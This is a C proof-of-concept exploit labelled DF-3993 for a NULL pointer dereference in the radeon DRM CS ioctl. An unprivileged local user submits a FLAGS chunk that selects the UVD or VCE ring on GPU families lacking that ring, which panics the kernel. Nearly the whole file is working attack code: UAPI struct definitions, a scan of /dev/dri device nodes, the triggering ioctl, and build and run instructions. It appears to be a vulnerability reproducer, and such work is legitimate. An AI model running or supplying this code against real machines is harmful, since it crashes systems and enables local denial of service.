/*
 * DF-3993 — radeon CS ioctl NULL asic->ring[] deref (kernel panic)
 *
 * Unprivileged local DoS: submit RADEON_CS with a FLAGS chunk whose second
 * dword selects the UVD ring on an asic whose dispatch table does not wire
 * ring[R600_RING_TYPE_UVD_INDEX] (every r100..r520 table and r600_asic),
 * or the VCE ring on any family except TN/SI/CI/KV.
 *
 *   radeon_cs_parser_init()  (sys/dev/drm/radeon/radeon_cs.c)
 *     radeon_cs_get_ring(p, ring=RADEON_CS_RING_UVD)  -> p->ring = 5
 *     if ((p->cs_flags & RADEON_CS_USE_VM) == 0)
 *         if (p->rdev->asic->ring[p->ring]->cs_parse == NULL)   <-- NULL + 0x20
 *
 * Build:  cc -O2 -o cs_nullring cs_nullring.c
 * Run:    ./cs_nullring [ringid]     (default 3 = RADEON_CS_RING_UVD)
 *
 * Needs a real radeon GPU with radeonkms attached (pre-RV610 or R600 for
 * UVD; r100..cayman for VCE). Requires DRM_AUTH: run where you can become
 * DRM master (no X/master held) or use a render node.
 */
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

/* ---- minimal DRM UAPI (drm.h) ---- */
#define DRM_IOCTL_BASE          'd'
#define DRM_IOC(dir, group, nr, size) \
	((dir) | ((size) << 16) | ((group) << 8) | (nr))
struct drm_version { int version_major, version_minor, version_patchlevel;
	size_t name_len; char *name; size_t date_len; char *date;
	size_t desc_len; char *desc; };
#define DRM_IOCTL_VERSION DRM_IOC(0, DRM_IOCTL_BASE, 0x00, sizeof(struct drm_version))

/* ---- radeon UAPI (radeon_drm.h, verbatim layout) ---- */
#define RADEON_GEM_DOMAIN_GPU   0x00ffffff
struct drm_radeon_cs_chunk { uint32_t chunk_id; uint32_t length_dw; uint64_t chunk_data; };
struct drm_radeon_cs { uint32_t num_chunks; uint32_t cs_id; uint64_t chunks;
	uint64_t gart_limit; uint64_t vram_limit; };
#define RADEON_CHUNK_ID_IB      0x02
#define RADEON_CHUNK_ID_FLAGS   0x03
#define RADEON_CS_RING_GFX      0
#define RADEON_CS_RING_COMPUTE  1
#define RADEON_CS_RING_DMA      2
#define RADEON_CS_RING_UVD      3
#define RADEON_CS_RING_VCE      4
#define DRM_COMMAND_BASE        0x40
#define DRM_RADEON_CS           0x14
#define DRM_IOCTL_RADEON_CS DRM_IOC(0, DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_RADEON_CS, sizeof(struct drm_radeon_cs))

static int try_card(const char *node, int ring)
{
	int fd = open(node, O_RDWR);
	if (fd < 0)
		return -1;

	/* sanity: driver must be radeon */
	struct drm_version v; char name[64] = {0};
	memset(&v, 0, sizeof(v));
	v.name_len = sizeof(name) - 1; v.name = name;
	if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) { close(fd); return -1; }
	if (strcmp(name, "radeon") != 0) { close(fd); return -1; }

	/*
	 * FLAGS chunk only. The crash occurs inside radeon_cs_parser_init()
	 * before any buffer validation, so no IB/relocs/GEM handles needed.
	 */
	uint32_t flags_data[2] = { 0 /* no RADEON_CS_USE_VM */, (uint32_t)ring };
	struct drm_radeon_cs_chunk chunk = {
		.chunk_id   = RADEON_CHUNK_ID_FLAGS,
		.length_dw  = 2,
		.chunk_data = (uint64_t)(uintptr_t)flags_data,
	};
	uint64_t chunk_ptr = (uint64_t)(uintptr_t)&chunk;
	struct drm_radeon_cs cs = {
		.num_chunks = 1,
		.chunks     = (uint64_t)(uintptr_t)&chunk_ptr,
	};

	printf("[*] %s: submitting CS with ring=%d (UVD) -- expect panic if auth passes\n",
	       node, ring);
	int r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs);
	printf("[*] ioctl returned %d (errno msg follows if -1; -EACCES/-EINVAL = not authenticated)\n", r);
	close(fd);
	return 0;
}

int main(int argc, char **argv)
{
	int ring = (argc > 1) ? atoi(argv[1]) : RADEON_CS_RING_UVD;
	static const char *nodes[] = {
		"/dev/dri/renderD128", "/dev/dri/renderD129",
		"/dev/dri/card0", "/dev/dri/card1", NULL
	};
	for (int i = 0; nodes[i]; i++)
		if (try_card(nodes[i], ring) == 0)
			return 0;
	fprintf(stderr, "no radeon DRM device found\n");
	return 1;
}
